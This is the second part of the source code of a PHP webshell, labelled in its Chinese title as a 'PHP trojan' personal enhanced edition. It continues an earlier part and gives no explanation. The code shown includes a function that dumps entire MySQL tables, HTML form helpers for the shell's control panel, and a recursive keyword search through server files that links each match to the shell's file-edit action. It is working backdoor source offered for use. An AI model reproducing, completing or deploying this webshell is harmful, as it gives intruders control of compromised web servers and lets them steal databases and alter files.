PHP木马 删除记忆个人加强版 （二）
//接着前面的
// 备份数据库
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = mysql_query("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
mysql_free_result($fields);
$keys = mysql_query("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
mysql_free_result($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = mysql_query("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
mysql_free_result($rows);
}
class FORMS {
function tableheader() {
echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
}
function headerform($arg=array()) {
global $dir;
if ($arg[enctype]){
$enctype="enctype=\"$arg[enctype]\"";
} else {
$enctype="";
}
if (!isset($arg[method])) {
$arg[method] = "POST";
}
if (!isset($arg[action])) {
$arg[action] = '';
}
echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
echo " <tr>\n";
echo " <td>".$arg[content]."</td>\n";
echo " </tr>\n";
echo " </form>\n";
}
function tdheader($title) {
global $dir;
echo " <tr class=\"firstalt\">\n";
echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">返回</a>]</b></td> \n";
echo " </tr>\n";
}
function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
if ($bgcolor=='2') {
$css="secondalt";
} elseif ($bgcolor=='1') {
$css="firstalt";
} else {
$css=$bgcolor;
}
$height = empty($height) ? "" : " height=".$height;
$colspan = empty($colspan) ? "" : " colspan=".$colspan;
echo " <tr class=\"".$css."\">\n";
echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
echo " </tr>\n";
}
function tablefooter() {
echo "</table>\n";
}
function formheader($action='',$title,$target='') {
global $dir;
$target = empty($target) ? "" : " target=\"".$target."\"";
echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
echo " <tr class=\"firstalt\">\n";
echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">返回</a>]</b></td> \n";
echo " </tr>\n";
}
function makehidden($name,$value=''){
echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
}
function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
$css = ($css == 'input') ? " class=\"input\"" : "";
$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
return $input;
}
function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
return $textarea;
}
function formfooter($over='',$height=''){
$height = empty($height) ? "" : " height=\"".$height."\"";
echo " <tr class=\"secondalt\">\n";
echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"确定\"></td>\n";
echo " </tr>\n";
echo " </form>\n";
echo $end = empty($over) ? "" : "</table>\n";
}
function makeselect($arg = array()){
if ($arg[multiple]==1) {
$multiple = " multiple";
if ($arg[size]>0) {
$size = "size=$arg[size]";
}
}
if ($arg[css]==0) {
$css = "class=\"input\"";
}
$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
if (is_array($arg[option])) {
foreach ($arg[option] AS $key=>$value) {
if (!is_array($arg[selected])) {
if ($arg[selected]==$key) {
$select .= "<option value=\"$key\" selected>$value</option>\n";
} else {
$select .= "<option value=\"$key\">$value</option>\n";
}
} elseif (is_array($arg[selected])) {
if ($arg[selected][$key]==1) {
$select .= "<option value=\"$key\" selected>$value</option>\n";
} else {
$select .= "<option value=\"$key\">$value</option>\n";
}
}
}
}
$select .= "</select>\n";
return $select;
}
}
function find($path) //查找关键词
{
global $oldkey,$type,$type2,$endline,$beline;
if(is_dir("$path")){
$tempdir=opendir("$path");
while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue; find("$path/$f");}
closedir($tempdir);
}else{
if(filesize("$path")){
$fp=fopen("$path","r");
$msg=fread($fp, filesize("$path"));
fclose($fp);
if(strpos($msg, $oldkey) !== false) {
$dir = dirname($path);
$file = basename($path);
if($type=="list"){
$mymsg = explode("\n",$msg);
$long = count($mymsg);
$tmp = explode($oldkey,$msg);
$tmp = explode("\n",$tmp[0]);
$first = count($tmp);
$end = "[".$first."/".$long."]";
}
if($type2=="getpath"){
$get = explode($oldkey,$msg);
$get = strlen($get[0]);
if(isset($beline)){
$get = $get-$beline;
}
$getpath = htmlspecialchars(substr($msg, $get, $endline));
$getpath = "title = \"".$getpath."\"";
}
echo "<span class=\"redfont\" $getpath>找到:$dir/$file</span> |<a href=\"?action=editfile&dir=$dir&editfile=$file\" target=\"_blank\">view+edit</a> | $end <br>";
}
}
}
}
?>
